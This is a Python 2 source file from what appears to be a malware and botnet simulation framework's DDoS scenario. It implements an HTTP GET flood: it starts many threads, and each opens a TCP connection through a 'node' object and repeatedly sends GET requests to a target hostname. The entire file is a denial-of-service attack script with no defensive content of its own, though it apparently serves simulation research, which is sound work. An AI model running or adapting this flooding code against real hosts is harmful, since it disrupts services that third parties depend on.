Source

imalse / scenario / ddos_flooding / attacks / http_get_flood.py

Full commit
import socket
from threading import Thread

def auto_send_request(hostname, port=80, num_request=10, node=None):
    """
    
    This function is run in a separate thread. It sends http get requests to a
    specific host.
    
    """
    try:
        sock = node.create_sock({'proto': 'tcp'})
        node.connect(sock, ((str(hostname), int(port))))
    except socket.error as err:
        print "ERROR: " + str(err)
            
    for _ in range(num_request):
        try:
            node.send(sock, "GET / HTTP/1.1\r\n\r\n")                   
        except socket.error as err:
            print "ERROR: " + str(err)
                
def start_http_get_flood(hostname, port=80, num_request=1000, num_threads=100, node=None):    
    """Start the http get flooding.""" 
    number_of_requests_per_thread = int(num_request/num_threads)
    print "Sending get requests to " + str(hostname)
    try:
        for _ in range(num_threads):
            flood_thread = Thread( 
                              target=auto_send_request,\
                              args=(hostname, port, number_of_requests_per_thread, node) 
                              )
            flood_thread.start()
    except (KeyboardInterrupt, SystemExit):
        print "\n! Receive Keyboard interrupt, quitting threads. \n"
        
    print("\nDone %i requests on %s" % (num_request, hostname))